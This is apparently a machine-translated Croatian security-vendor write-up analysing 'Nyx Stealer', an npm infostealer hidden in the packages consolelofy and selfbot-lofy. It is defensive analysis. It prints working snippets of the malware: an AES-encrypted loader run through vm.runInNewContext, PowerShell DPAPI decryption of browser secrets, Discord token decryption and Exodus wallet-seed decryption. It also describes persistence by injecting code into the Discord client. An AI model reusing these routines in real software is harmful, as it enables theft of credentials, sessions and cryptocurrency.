TL; DR
Xygenijev tim za sigurnosna istraživanja identificirao je sofisticiranu NPM kampanju krađe informacija isporučenu putem dva zlonamjerna paketa: konzole i selfbot-lofy.
Najnovija inačica (consolelofy@1.3.0) ugrađuje AES-šifrirani korisni teret od 216 KB koji se dešifrira tijekom izvođenja i izvršava putem vm.runInNewContext()Budući da je zlonamjerna logika potpuno šifrirana, statički skeneri koji se oslanjaju na inspekciju stringova ne mogu promatrati njezino ponašanje do trenutka izvršavanja.
Nakon dešifriranja, korisni teret, interno označen Kradljivac Nyx, ciljevi:
- Discord tokeni za autentifikaciju
- Više od 50 trgovina vjerodajnica preglednika
- 90+ ekstenzija za kriptovalutne novčanike
- Sesije na Robloxu, Instagramu, Spotifyju, Steamu, Telegramu i TikToku
- Trajnost Discord desktop klijenta
Prijavljeno je svih 20 verzija u oba paketa i potvrđeno je da su zlonamjerne.
Tehnički pregled ovog npm Infostealera
Za razliku od tradicionalnog zlonamjernog softvera koji se instalira tijekom instalacije, ova kampanja se oslanja na runtime model dešifriranja.
Tamo su:
- Bez zlonamjernog
preinstallorpostinstallhooks - Nema očitih mrežnih poziva tijekom instalacije
- Nema logike prikupljanja vjerodajnica u otvorenom tekstu
Korisni teret se aktivira kada se modul uveze. Cijelo zlonamjerno tijelo je šifrirano i materijalizira se u memoriji tek za vrijeme izvođenja.
Ovaj dizajn posebno izbjegava otkrivanje tijekom instalacije paketa.
Kako se ovaj npm infostealer zapravo izvršava
Prije nego što analiziramo što Nyx Stealer krade, moramo razumjeti kako se izvršava.
Zlonamjerna logika unutar ovog npm kradljivca informacija slijedi dosljedan obrazac:
Mali program za učitavanje dešifrira veliki šifrirani korisni teret i dinamički ga izvršava unutar konteksta Node.js VM-a.
Ovaj dizajn je namjeran. Napadač ne skriva funkcionalnost samo iza maskiranja, već potpuno uklanjanje zlonamjernog koda iz statičke vidljivosti.
Model izvršenja visoke razine
Na visokoj razini, omotač radi četiri stvari:
- Izvodi AES ključ iz čvrsto kodirane lozinke koristeći SHA-256
- Dešifrira veliki heksadecimalno kodirani šifrirani tekst pomoću AES-256-CBC
- Izvršava dešifrirani JavaScript pomoću
vm.runInNewContext() - Pruža sandbox koji i dalje otkriva moćne primitive za vrijeme izvođenja
Sažetak osnovne tehnike
| Sastavni | Konfiguracija / Vrijednost |
|---|---|
| Algoritam | AES-256-CBC |
| Izvođenje ključa | SHA-256 (lozinka) |
| Vektor inicijalizacije (IV) | 16 bajtova od 0x00 |
| Izvršenje | vm.runInNewContext(dešifrirano, sandbox) |
Ključno je da pješčanik prolazi kroz:
requireprocessBuffer- brojila
- izvoz modula
To znači da dešifrirani korisni teret zadržava punu sposobnost:
- Procesi mriješćenja
- Čitanje i pisanje datoteka
- Obavljajte mrežne pozive
- Izmijenite lokalne aplikacije
Ovo nije ograničeni VM. To je VM koji se koristi kao trampolin za izvršavanje.
Uzorak šifriranja za vrijeme izvođenja (mehanizam izvršavanja jezgre)
Utovarivač je mali.
Zlonamjerno tijelo nije.
Ispod je obrazac izvršavanja koji se nalazi unutar paketa:
const crypto = require('crypto'); const vm = require('vm'); function decryptAndExecute(encryptedHex, passphrase) { const key = crypto.createHash('sha256') .update(passphrase) .digest(); const iv = Buffer.alloc(16, 0); const decipher = crypto.createDecipheriv('aes-256-cbc', key, iv); let decrypted = decipher.update(encryptedHex, 'hex', 'utf8'); decrypted += decipher.final('utf8'); const sandbox = { require, module, exports, console, process, Buffer, __dirname, __filename, setTimeout, setInterval, clearTimeout, clearInterval }; vm.runInNewContext(decrypted, sandbox); } Zašto ovo stvarima
Dešifrirani korisni teret:
- Da li ne postoje u otvorenom tekstu unutar npm paketa
- Nevidljivo je za jednostavno
grepili statičko skeniranje nizova - Materijalizira se u memoriji samo za vrijeme izvođenja
- Izvršava se s punim Node runtime mogućnostima
Ova kombinacija izvršavanja AES + VM snažan je pokazatelj ponašanja npm infostealer pokušava izbjeći statičku inspekciju.
Drugim riječima:
Ako skenirate stablo izvornog koda paketa, ne vidite kradljivca.
Vidite dekriptor.
Što se događa nakon dešifriranja
Nakon izvršenja, Nyx Stealer pokreće paralelne valove prikupljanja podataka.
Val 1: Ekstrakcija vjerodajnica preglednika
Zlonamjerni softver:
- Preuzima Python runtime s NuGet CDN-a
- Instalira kriptografske biblioteke
- Izdvaja pohrane vjerodajnica temeljene na Chromiumu
- Dešifrira DPAPI-jem zaštićene tajne
Umjesto kompajliranja izvornih vezanja, koristi PowerShell za izravno pozivanje Windows DPAPI-ja.
function dpapiUnprotectWithPowerShell(dataBuf) { const b64 = dataBuf.toString('base64'); const ps = "Add-Type -AssemblyName System.Security;" + "$b=[Convert]::FromBase64String('" + b64 + "');" + "$p=[System.Security.Cryptography.ProtectedData]::Unprotect(" + "$b,$null,[System.Security.Cryptography.DataProtectionScope]::CurrentUser);" + "[Console]::Out.Write([Convert]::ToBase64String($p))"; const cmd = `powershell -NoProfile -ExecutionPolicy Bypass -Command "${ps}"`; return Buffer.from(execSync(cmd, { encoding: 'utf8' }).trim(), 'base64'); } Ovaj pristup:
- Izbjegava artefakte kompilacije
- Koristi izvorne Windows kripto API-je
- Uklapa se u administrativne alate
To je dešifriranje vjerodajnica na razini operativnog sustava, a ne struganje.
Val 2: Dešifriranje Discord tokena
Kradljivac je svjestan protokola. Razumije Discord-ov šifrirani format tokena.
function decryptToken(encryptedToken, key) { const tokenParts = encryptedToken.split('dQw4w9WgXcQ:'); const encryptedData = Buffer.from(tokenParts[1], 'base64'); const iv = encryptedData.slice(3, 15); const ciphertext = encryptedData.slice(15, -16); const tag = encryptedData.slice(-16); const decipher = crypto.createDecipheriv('aes-256-gcm', key, iv); decipher.setAuthTag(tag); return decipher.update(ciphertext).toString('utf8'); } Operativni tok:
- Izvucite glavni ključ iz Discorda
Local State - Dešifriranje glavnog ključa putem DPAPI-ja
- Dešifriranje AES-GCM token blobova
- Validacija tokena putem Discord API-ja
- Obogatite Nitroom, značkama, podacima o naplati
Ovo nije generičko davanje podataka o vjerodajnicama. To je otmica sesije svjesna protokola.
Val 3: Ciljanje kriptovalutnih novčanika
Npm infostealer nabraja:
- 90+ ekstenzija za novčanike u pregledniku
- 27 novčanika za stolna računala
- Putevi hladnih novčanika
- Exodus sjemenske datoteke
Primjer pokušaja dešifriranja sjemena:
function decryptSeco(content, password) { const key = crypto.pbkdf2Sync(password, 'exodus', 10000, 32, 'sha512'); const decipher = crypto.createDecipheriv( 'aes-256-gcm', key, content.slice(0, 12) ); decipher.setAuthTag(content.slice(-16)); return Buffer.concat([ decipher.update(content.slice(12, -16)), decipher.final() ]).toString('utf8'); } Ako je uspješna, kompromitacija novčanika je trenutna i nepovratna.
Ovo predstavlja vektor monetizacije kampanje s najvećom vrijednošću.
Ustrajnost putem Discord Desktop Injectiona
Nakon prikupljanja vjerodajnica, Nyx Stealer pokušava osigurati perzistenciju mijenjajući lokalne Nesloga kupac.
Cilj:
%LOCALAPPDATA%\Discord*\app-*\modules\discord_desktop_core\index.js Operativni slijed
Kradljivac informacija izvršava sljedeće korake:
- Završava pokrenute Discord procese
- Locira instalirane Discord varijante (Stable, Canary, PTB)
- Prepisuje
discord_desktop_core/index.js - Ubrizgava logiku webhooka koju kontrolira napadač
- Ponovno pokretanje Discorda
To osigurava da buduće Discord sesije automatski propuštaju nove tokene za autentifikaciju.
Važno je napomenuti da se ova postojanost ne oslanja na planirane zadatke ili izmjene registra. Koristi modifikaciju koda na razini aplikacije, što je prikriveniji pristup.
Čak i ako se zlonamjerni npm paket kasnije ukloni, Discord klijent ostaje kompromitiran.
Tehnička usporedba: Legitimni Selfbot vs npm Infostealer
| Sastavni | Legitimna knjižnica | Nyx npm kradljivac informacija |
|---|---|---|
| Šifriranje | nijedan | Potpuno AES-šifrirani korisni teret |
| Virtualni stroj za izvođenje | Nepotrebno | vm.runInNewContext izvršenje |
| Pristup vjerodajnicama | Samo Discord API | Preglednik, novčanici, DPAPI |
| Vanjska preuzimanja | Ne | Izvršavanje Pythona putem NuGeta |
| Upornost | Ne | Injektiranje Discord klijenta |
| Unovčavanje | Automatizacija botova | Preprodaja vjerodajnica |
Već sam sloj šifriranja odvaja ovu kampanju od tipičnog open-source forka.
Legitimni Discord selfbot nema razloga šifrirati cijelu svoju kodnu bazu, pokretati PowerShell za pristup DPAPI-ju, preuzimati vanjske runtime okruženja ili mijenjati interne dijelove desktop aplikacija. Kada se te mogućnosti pojave unutar ovisnosti koja tvrdi da automatizira Discord interakcije, arhitektonsku neusklađenost postaje nemoguće ignorirati.
S gledišta istraživanja, ovaj npm infostealer ostavlja tragove na više slojeva. Međutim, najpouzdaniji pokazatelji nisu čvrsto kodirani URL-ovi ili specifične putanje datoteka, budući da se oni mogu mijenjati između verzija. Umjesto toga, trajni signali su strukturni.
Na razini paketa, najjači crveni znak je kombinacija velikog šifriranog korisnog tereta i omotača za dešifriranje tijekom izvođenja koji se odmah izvršava putem vm.runInNewContext()Iako samo šifriranje nije inherentno zlonamjerno, korištenje AES dešifriranja nakon kojeg slijedi dinamičko izvršavanje VM-a unutar Discord uslužnog paketa je vrlo anomalno.
Na razini hosta, sumnjivi obrasci uključuju neočekivanu aktivnost dešifriranja DPAPI-ja, stvaranje procesa iz konteksta ovisnosti Node.js i modifikaciju lokalnih datoteka aplikacije koje biblioteke trećih strana nikada ne bi smjele mijenjati. Slično tome, na mrežnom sloju, komunikacija u stilu odlaznog webhooka pokrenuta razvojnom ovisnošću predstavlja još jednu značajnu anomaliju.
Drugim riječima, površina detekcije nije pojedinačni pokazatelj kompromitacije. Prijetnju otkriva korelacija enkripcije, izvršavanja tijekom izvođenja, pristupa vjerodajnicama i ponašanja perzistencije.
Detekcija i ublažavanje s Xygenijem
Ovaj npm kradljivac informacija identificiran je od strane Xygenijev rani sustav upozorenja na zlonamjerni softver (MEW) putem slojevite korelacije ponašanja, a ne jednostavnim usklađivanjem potpisa.
Umjesto traženja poznatih zlonamjernih nizova, MEW procjenjuje strukturne anomalije u cijelom izvornom stablu. U ovom slučaju, otkrivanje je proizašlo iz konvergencije nekoliko signala: ugrađene AES rutine za dešifriranje u ulaznoj točki modula, trenutnog izvršavanja unutar konteksta virtualnog stroja i jasnog neslaganja mogućnosti i namjere.
Važno je napomenuti da nijedan od ovih signala sam po sebi ne dokazuje zlonamjernu namjeru. Međutim, kada se analiziraju zajedno, otkrivaju pokušaj prikrivanja ponašanja tijekom izvođenja. Ovaj slojeviti pristup značajno smanjuje lažno pozitivne rezultate, a istovremeno identificira visoko pouzdane prijetnje lancu opskrbe.
Nadalje, ovaj slučaj ilustrira zašto sama inspekcija tijekom instalacije nije dovoljna. Zlonamjerna logika ne nalazi se u skriptama životnog ciklusa. Aktivira se tek nakon što se modul učita i postaje vidljiva tek nakon dešifriranja u memoriji. Stoga učinkovita obrana zahtijeva analizu svjesnu šifriranja, prepoznavanje obrazaca ponašanja i kontinuirano praćenje ovisnosti i nakon instalacijskih događaja.
Uklanjanje registra je reaktivno. Analiza u vremenu izvođenja je preventivna.
Zašto je ovaj npm kradljivac informacija važan
Nyx Stealer predstavlja strukturnu evoluciju zlonamjernog softvera temeljenog na npm-u.
Povijesno gledano, mnogi zlonamjerni paketi oslanjali su se na vidljive skripte za vrijeme instalacije ili očite krajnje točke za krađu vjerodajnica. Nasuprot tome, ova kampanja šifrira svoj teret, odgađa izvršenje do vremena izvođenja, koristi legitimne API-je operacijskog sustava i uspostavlja postojanost unutar pouzdanih aplikacija.
Posljedično, napadač ne mora iskorištavati samu npm infrastrukturu. Umjesto toga, napad uspijeva jer instalacija ovisnosti podrazumijeva povjerenje. Programeri pretpostavljaju da je uvoz biblioteke sigurna operacija, posebno kada se ona predstavlja kao uvjerljiva fork popularnog alata.
Kako ekosustavi nastavljaju rasti i forkovi se šire, ta implicitna granica povjerenja postaje sve atraktivnija površina za napad. Stoga, obrana od modernih kradljivaca informacija o npm-u zahtijeva prepoznavanje arhitektonskih obrazaca, a ne traženje statičnih stringova.
U konačnici, ova kampanja pojačava ključnu lekciju u software supply chain securityNajopasnije prijetnje nisu one koje na prvi pogled izgledaju zlonamjerno, već one koje se strukturno čine legitimnima sve dok vrijeme izvođenja ne otkrije njihovo pravo ponašanje.




